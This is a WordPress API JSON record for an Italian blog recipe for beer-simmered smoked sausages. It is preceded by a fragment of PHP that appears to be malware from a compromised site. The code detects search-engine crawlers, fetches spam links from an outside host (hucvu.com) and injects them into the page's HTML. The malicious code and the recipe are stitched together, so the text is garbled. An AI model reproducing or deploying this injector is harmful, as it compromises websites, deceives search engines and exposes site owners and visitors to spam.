if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://hucvu.com/g3p7e/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } {"id":6776,"date":"2017-08-29T18:50:18","date_gmt":"2017-08-29T16:50:18","guid":{"rendered":"http:\/\/www.panperfocacciablog.com\/?p=6776"},"modified":"2019-04-08T21:28:34","modified_gmt":"2019-04-08T19:28:34","slug":"salsicce-alla-birra","status":"publish","type":"post","link":"https:\/\/www.panperfocacciablog.com\/2017\/08\/salsicce-alla-birra.html","title":{"rendered":"Salsicce alla birra"},"content":{"rendered":"<p>Non so da voi, ma qui a Belluno fa ancora tanto caldo.<br \/>\nE caldo a casa mia vuol dire anche accendere il <strong>barbecue<\/strong> e <strong>grigliare<\/strong> senza sosta.<br \/>\nLa ricetta che voglio presentarvi \u00e8 per di pi\u00f9 di una semplicit\u00e0 disarmante, quindi perfetta per i pigroni come me: le <strong>salsicce alla birra<\/strong>.<\/p>\n<p><img class=\"aligncenter wp-image-6782 size-horizontal-thumbnail\" src=\"http:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-1-680x523.jpg\" alt=\"\" width=\"680\" height=\"523\" srcset=\"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-1-680x523.jpg 680w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-1-300x231.jpg 300w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-1-768x591.jpg 768w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-1.jpg 810w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/>Per prepararle ho seguito le indicazioni riportate sul blog\u00a0<a href=\"http:\/\/blog.bbq4all.it\/elchipa\/2017\/01\/salsicce-affumicate-alla-birra\/\">“El Chipa BBQ”<\/a>.<\/p>\n<p>Gli <strong>ingredienti<\/strong> sono:<\/p>\n<p>– salsicce grandi fresche<br \/>\n– birra<\/p>\n<p>\u00c8 una lista della spesa molto breve, vero?<br \/>\nPrepariamo il barbecue per la<strong> cottura indiretta<\/strong>, ponendo al suo interno le bricchette di carbone pressato e inserendo sotto la griglia una vaschetta in alluminio abbastanza capiente da raccogliere il grasso di tutte le salsicce che adageremo sulla griglia (\u00e8 importantissimo che il grasso non cada sulle bricchette accese, altrimenti queste sfiammeranno e bruceranno la carne).<br \/>\nRiempiamo la <strong>ciminiera<\/strong> con le bricchette e accendiamole.<br \/>\nQuando sono ricoperte di cenere, mettiamole nel barbecue e chiudiamo il coperchio.<br \/>\nPortiamo la temperatura del barbecue a 130\u00b0C, dopodich\u00e9 mettiamo al suo interno le salsicce, inserendo al centro di una di esse un termometro a sonda (mi raccomando, le salsicce non devono assolutamente essere bucherellate).<br \/>\nSe ve lo state chiedendo, nella foto a fianco alle salsicce ci sono le <strong>costine succose<\/strong> in preparazione (la ricetta si trova <a href=\"http:\/\/www.panperfocacciablog.com\/2017\/06\/costine-di-maiale-succose-al-barbecue.html\">QUI<\/a>).<\/p>\n<p><img class=\"aligncenter wp-image-6786 size-horizontal-thumbnail\" src=\"http:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-2-680x523.jpg\" alt=\"\" width=\"680\" height=\"523\" srcset=\"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-2-680x523.jpg 680w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-2-300x231.jpg 300w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-2-768x591.jpg 768w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-2.jpg 810w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/>Versiamo sulle bricchette accese una manciata di <strong>legnetti<\/strong> misti di ciliegio e noce americano per <strong>affumicatura<\/strong>.<br \/>\nCopriamo con il coperchio e lasciamo cuocere finch\u00e9 il termometro a sonda non arriva ad una temperatura di 83\u00b0C.<\/p>\n<p><img class=\"aligncenter wp-image-6790 size-horizontal-thumbnail\" src=\"http:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-3-680x523.jpg\" alt=\"\" width=\"680\" height=\"523\" srcset=\"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-3-680x523.jpg 680w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-3-300x231.jpg 300w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-3-768x591.jpg 768w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-3.jpg 810w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/>Quando manca poco al raggiungimento di questa temperatura, versiamo la <strong>birra<\/strong> in una pentola e portiamola a ebollizione (per sei salsicce ho usato circa 500ml di birra).<br \/>\nTogliamo le salsicce dal barbecue e mettiamole in una vaschetta di alluminio il pi\u00f9 possibile piccola, disponendole in un solo strato.<\/p>\n<p><img class=\"aligncenter wp-image-6795 size-horizontal-thumbnail\" src=\"http:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-4-680x523.jpg\" alt=\"\" width=\"680\" height=\"523\" srcset=\"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-4-680x523.jpg 680w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-4-300x231.jpg 300w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-4-768x591.jpg 768w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-4.jpg 810w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/>Poi <strong>copriamole<\/strong> con la birra bollente.<\/p>\n<p><img class=\"aligncenter wp-image-6796 size-horizontal-thumbnail\" src=\"http:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-5-680x523.jpg\" alt=\"\" width=\"680\" height=\"523\" srcset=\"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-5-680x523.jpg 680w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-5-300x231.jpg 300w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-5-768x591.jpg 768w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-5.jpg 810w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/>A questo punto abbiamo due opzioni: tenere le salsicce dentro il barbecue o metterle nel forno tiepido.<br \/>\nIo ho optato per il forno, in quanto stavo usando il barbecue un’altra cottura e avevo bisogno di portarlo a temperature di molto superiori ai 130\u00b0C.<br \/>\nLasciamo <strong>riposare<\/strong> le salsicce nella birra per almeno 30′, scoliamole e serviamole.<\/p>\n<p><img class=\"aligncenter wp-image-6798 size-horizontal-thumbnail\" src=\"http:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-6-680x523.jpg\" alt=\"\" width=\"680\" height=\"523\" srcset=\"https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-6-680x523.jpg 680w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-6-300x231.jpg 300w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-6-768x591.jpg 768w, https:\/\/www.panperfocacciablog.com\/wp-content\/uploads\/2017\/08\/Salsicce-alla-birra-6.jpg 810w\" sizes=\"(max-width: 680px) 100vw, 680px\" \/>Questo tipo di cottura fa si che le salsicce perdano il grasso in eccesso e lo rimpiazzino con la birra.<br \/>\nIl risultato \u00e8 una carne <strong>gustosa<\/strong>, <strong>succosa<\/strong> e molto pi\u00f9 <strong>digeribile<\/strong> di quanto si possa immaginare vedendole cos\u00ec lucide e golose.<br \/>\nLa stessa cottura pu\u00f2 essere eseguita interamente nel forno, omettendo l’affumicatura con i legnetti.<\/p>\n<p>Buona serata!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Non so da voi, ma qui a Belluno fa ancora tanto caldo. E caldo a casa mia vuol dire anche accendere il barbecue e grigliare senza sosta. La ricetta che voglio presentarvi \u00e8 per di pi\u00f9 di una semplicit\u00e0 disarmante, quindi perfetta per i pigroni come me: le salsicce alla birra. Per prepararle ho seguito…<\/p>\n<p><a class=\"more-link\" href=\"https:\/\/www.panperfocacciablog.com\/2017\/08\/salsicce-alla-birra.html\">Read More »<\/a><\/p>\n","protected":false},"author":1,"featured_media":6782,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[12,2403,2456,132],"tags":[672,2434],"_links":{"self":[{"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/posts\/6776"}],"collection":[{"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/comments?post=6776"}],"version-history":[{"count":6,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/posts\/6776\/revisions"}],"predecessor-version":[{"id":6813,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/posts\/6776\/revisions\/6813"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/media\/6782"}],"wp:attachment":[{"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/media?parent=6776"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/categories?post=6776"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.panperfocacciablog.com\/wp-json\/wp\/v2\/tags?post=6776"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}